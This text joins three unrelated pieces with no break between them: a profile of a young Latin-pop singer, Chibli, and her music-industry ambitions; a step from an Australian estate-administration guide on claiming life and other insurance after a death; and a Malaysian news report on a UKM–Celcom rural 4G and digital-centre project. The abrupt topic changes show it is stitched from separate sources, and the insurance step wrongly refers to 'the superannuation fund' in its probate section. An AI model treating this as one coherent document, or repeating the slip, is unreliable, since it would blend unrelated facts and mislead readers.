Music has become Chibli's full-time job. When she's not performing gigs, she is in the studio writing and recording. When not making music, Chibli enjoys watching Netflix, specifically Black Mirror. After seeing the recent episode starring Miley Cyrus as a pop star, Chibli noted similarities to some of her own experiences while navigating the music industry.
"The music industry can be pretty brutal," Chibli says. "You can end up accidentally surrounding yourself with people that are just taking advantage of you. You have to keep your circle tight with people you trust, because just one person can end up ruining it for you. Once you're building and blowing up, you're going to find more people wanting to be your friend are just probably lying to you. You have to remember who truly has your best interest in mind."

Chibli's team is small and loyal. Her mother, Marisela, serves as her manager, and Chris Salmeron works as her producer. As of now, Chibli travels between North Texas and El Paso for gigs, but she hopes to be touring by this time next year, and eventually, to be an award-winning sensation.
"Five years from now, I hope I'm at the Latin Grammys or the Grammys, because I want to be a crossover artist," Chibli says. "I want to make Latin and pop music."
Chibli is finishing up her debut EP. While she does not have a theme in mind for the collection of songs, she hopes it will be a body of work that everyone can enjoy.
"I hope my EP makes people happy," Chibli says. "I hope it makes them want to get up and do something and enjoy life."

Step 25 - Claim Insurance & Other Benefits
Last updated: October 2020
Why is this important?
This step explains everything you need to know about life and other insurance claims, and what you need to know to determine if the claimable insurance benefit(s) will form part of the deceased estate or not.
simplyEstate is here to help with the process. Contact us via email or book a first free phone appointment.
Approximate Effort & Cost
Reading: 30 mins
Preparing: 1-2 hrs
Completing: 1-4 hrs
Total: 2:30-6:30 hrs
Cost: $0
Effort and cost are general estimates only and are based on the assumption that you complete this step without experienced support.
25.1 Overview
As part of the deceased estate administration process you must identify all assets and liabilities that form part of the estate for distribution. If the deceased person has had insurances in place that may be claimed, or the surviving dependants may be eligible for other benefits, it will be important to:
- find out about all insurances that were held;
- contact the insurers to enquire about the policy and if a claim can be made;
- find out the total value of all benefits applicable to the estate; and
- update the simplyEstate Assets & Liabilities Inventory.
25.2 Beneficiaries of Insurance Claims
25.3 Types of Insurances
25.4 Make a Claim
25.5 Grant of Probate or Letters of Administration
25.6 Other Benefits that may Apply
25.7 Actions and Decisions to Complete Step
25.2 Beneficiaries of Insurance Claims
Most insurance policies that will provide a payout after a death of the insurance policy holder allow the Beneficiaries to be nominated or left out.
In most cases a life insurance is put in place to protect the immediate family financially. Therefore, the most common Beneficiaries nominated are the spouse and children but can also be other dependent persons, friends or business partners.
If Beneficiaries were nominated, then the relevant persons will need to make an application for the insurance payout if they are aged 18 or above and this will in most cases not form part of the deceased estate. You should:
- read this Step in detail to ensure you understand key aspects;
- identify if any insurances are in place;
- check with the insurance providers if a Death Benefit applies and if Beneficiaries were nominated; and
- inform the Beneficiaries and share this information with them.
If no Beneficiaries were named, then an application needs to be made by you as the Executor or Administrator on behalf of the estate as explained below.
25.3 Types of Insurances
There are numerous types of insurances and simplyEstate has summarised the most common types of policies that may have a claimable benefit after the insurance policy holder passes away for your consideration and review.
25.3.1 Funeral Insurance
If the deceased person had a funeral insurance cover, you should have claimed for this at the time when selecting the Funeral Director or planning the funeral. If the funeral has already been organised and held you may no longer be able to claim at this point in time. However, it is always worth checking with the provider and explaining your situation.
Step 1 – Immediate Steps After a Death and Step 4 – Locate the Will & Insurance Information mentioned to check for funeral insurance prior to taking any further steps to ensure a claim is made if available.
25.3.2 Life Insurance
A life insurance policy is specifically designed to pay a lumpsum to the nominated dependants or other persons nominated as Beneficiaries with the insurance provider after a person passes away or once diagnosed with a terminal illness. If someone was specifically nominated as the Beneficiary, that person will need to make the claim. However, if no person was nominated then you as the Executor or Administrator will need to make a claim on behalf of the estate.
If the deceased person had an active life insurance policy in place at the time of death you may be able to make a claim. You will need to check that the waiting period is over, the deceased person did not exceed the expiry age (usually 80 – 99 years of age) specified in the policy or any other conditions that are not met.
Common life insurance companies are:
- Allianz Life Insurance
- American Express Term Life Insurance
- ANZ Life Insurance
- Guardian Insurance
- NobleOak Term Life Insurance
- Ozicare Life Insurance
- Qantas Life Insurance
- RAC Life Insurance
- Real Family Life Insurance
- TAL Life Insurance
- Virgin Money Tailored Life Insurance
- Zurich Ezicover Life Insurance
If the deceased person had life insurance cover as part of their superannuation, see Step 24 – Deal with Superannuation as different rules may apply.
25.3.3 Mortgage Protection Insurance
This policy covers the cost of regular weekly, fortnightly or monthly mortgage repayments if the mortgage holder develops a medical condition, loses their job or passes away.
25.3.4 Accident Only Death Insurance
This policy is similar to a life insurance policy but only pays if the death was due to an accident or severe injury.
25.3.5 Compulsory Third Party Insurance and Car or Vehicle Insurance
In Australia all motor vehicles are insured by Compulsory Third Party Insurance also covering deaths caused by a motor vehicle accident. If the deceased person died in a car accident, then the person who caused the accident will pay from their Compulsory Third Party Insurance.
25.3.6 Travel Insurance
If the deceased person passed way during a private trip and was covered under a travel insurance, you should check with the insurance company if a claim can be made.
If the death occurred during a business trip, the employer should be contacted to check if a claim can be made from their travel insurance policy if one is in place.
25.3.7 Other Insurances
The deceased person may have been in the midst of an insurance benefit claim at the time of their death. You may still be able to finalise the claim depending on the situation, the cover and the circumstances under which the claim was initiated by the deceased person in the first place.
It may however also be the case that the insurance ends on the date of death, but it is worth checking directly with the insurance providers of any unresolved claims that may apply up until the date of death.
Insurance that may have such an ongoing or outstanding claim could be:
- Health Insurance – claims for medical treatment or extras
- Home & Contents Insurance – claims relating to the home or its contents
- Worker's Compensation – claims relating to an accident at work
- Income Protection Insurance – claims relating to a replacement income due to illness or injury before the death
- Trauma or Recovery Insurance – claims relating to serious illness or injury specified in the policy before the death
- Total Permanent Disability Insurance – claims relating to permanent disability before the death
- Car or Vehicle Insurance – claims relating to a car or vehicle
- Public Liability Insurance – claims relating to an accident at an event where the event organiser's insurance pays
25.4 Make a Claim
Each insurance policy provider may have their specific estate process outlined on their website. simplyEstate has summarised the following general steps that in most cases will need to be followed when making a claim with an insurance company.
Phase 1
- Notify insurance provider of the death
- Provide proof of death (Death Certificate)
- Verify who was nominated as the Beneficiary (Remember, if a Beneficiary was nominated it is their responsibility to make the claim and the claim does not form part of the estate. If no Beneficiary is named, the claim will be paid to the estate and the Executor or Administrator can apply)
Phase 2
- Complete and submit the necessary claims forms and supporting documents to the insurance provider
- Provide proof of identity of the Beneficiary, Executor, Administrator or Next of Kin
- Claims assessment by the insurance provider
- Claims assessment decision by the insurance provider
- Payment of claim by the insurance provider
The key objective at this point is work your way through Phase 1 (1-3) to establish if an insurance claim will be paid to the deceased estate or not. If not, then you can inform the Beneficiaries, share this page with them and move on to the next step as it doesn't fall within your responsibility as Executor or Administrator.
25.5 Grant of Probate or Letters of Administration
The insurance provider will have varying document requirements depending on your situation and the size of the claim payable. If the claim is $50,000 or more, the fund will most likely request a Grant of Probate or Letters of Administration to finally release the funds to the estate, so you can then distribute the assets to the Beneficiaries.
This step is explained in more detail in Step 27 – Apply for Grant of Probate or Letters of Administration. If the insurance requests for this now already, you will need to explain that you require a statement showing the insurance claim benefit to apply for a Grant of Probate or Letters of Administration with the Supreme Court in your State/Territory. Once these are obtained you will contact the superannuation fund again with the Grant of Probate or Letters of Administration to continue the process to release the funds to the estate.
25.6 Other Benefits that may Apply
There may be other benefits that the deceased person's estate may be entitled to if they were a:
- member of the defence force or a war veteran;
- civilian or public safety worker such as a fireman and police officer; or
- member of a club, pensioner association or a trade union.
For other benefits such as widower allowances or bereavement payments please see Step 9 – Request Allowances & Government Support. These do not form part of the estate and hence should not be listed on the simplyEstate Assets & Liabilities Inventory.
25.7 Actions and Decisions to Complete Step
If you would like a little help from us at simplyEstate with this Step, you can email us or book your free first phone appointment. If you would like experienced support, get in touch with one of our Trusted Partners listed in the yellow section to the right or below and see how they can help.
If you have decided to tackle this Step yourself after reading and understanding this Step, you may want to:
- Determine what types of insurances were held;
- Contact the insurers to inform of the death, enquire about the policy details, if a claim can be made if the insurance policy holder passed away and who the nominated Beneficiary is;
- Inform the nominated Beneficiary of the insurance claim and share this information so they can apply for the claim, and share this page, so they can apply for the claim;
- Establish the total value for all benefits applicable to the estate where no Beneficiary was nominated; and
- update the simplyEstate Assets & Liabilities Inventory to show all the claims and benefits that form part of the estate.

Deputy Minister of Ministry of Communication and Multimedia, Eddin Syazlee Shith said, the effort that UKM and Celcom to develop the communication infrastructure and the internet network to extend the coverage to people who stay in rural area are greatly appreciated.
He said the collaboration between both parties (UKM and Celcom) can be an example for education and industrial networking in implementing community welfare agenda.

"This effort should be extended and will receive more private participation in supporting the government's efforts to continue to drive the nation towards economic prosperity and equity, he said in his speech while Launched Sri Gumum Cyber Cube and Replanting the Trees at the PPTC, recently.
Eddin Syazlee said, the economic prosperity of the people still needs to be continued by the government, which includes the rural population, such as the development of digital economy which is being undertaken by the government.
He said, four important things in the effort of leveraging the digital economy need to be achieved, such as creating a more dynamic digital ecosystem with increasing competition and reaching universal, fast and lowest internet connections.
Besides that, to increase human capital through continuous curriculum and learning opportunities and guarantee future digital tax revenues.
Meanwhile, Deputy Vice Chancellor Research and Innovation, Prof Dr Mohd Ekhwan Toriman said, this programme is an idea from the strategic networking between UKM and Celcom as a community services programme for both organisations in an Orang Asli community in Tasik Chini.
He said, the appreciation is given to Celcom for providing comprehensive and reliable 4G access facilities in the Chini Lake area in digitizing the area.
This 4G access facility has helped UKM researchers in particular on water quality monitoring at seven stations in the vicinity of Lake Chini, he said.
"This built-up facility will empower the Orang Asli community to develop their products in the digital supermarket besides providing training centres for online entrepreneurs.
"This centre will also provide e-tuition in the field of STEM (Science, Technology, Engineering and Mathematics), fardhu Ain virtual class, as well as a centre of Training of Trainers among Orang Asli communities and online education by researchers at Hospital Canselor Tuanku Muhriz UKM." he explained.
Prof Dr Mohd. Ekhwan also added that such a program was also an endorsement of Malaysia's support in maintaining the status of the UNESCO Biosphere Reserve before the assessment of 2020.
At the same ceremony, also held the Ceremony of Memorandum of Agreement (MoA), signed between UKM and Celcom.
Besides that, Celcom also launches the Pribumi Mall, a portal of online shopping to market the Orang Asli products besides replanting 1,000 trees in PPTC UKM Reserve UNESCO Biosphere Reserve.
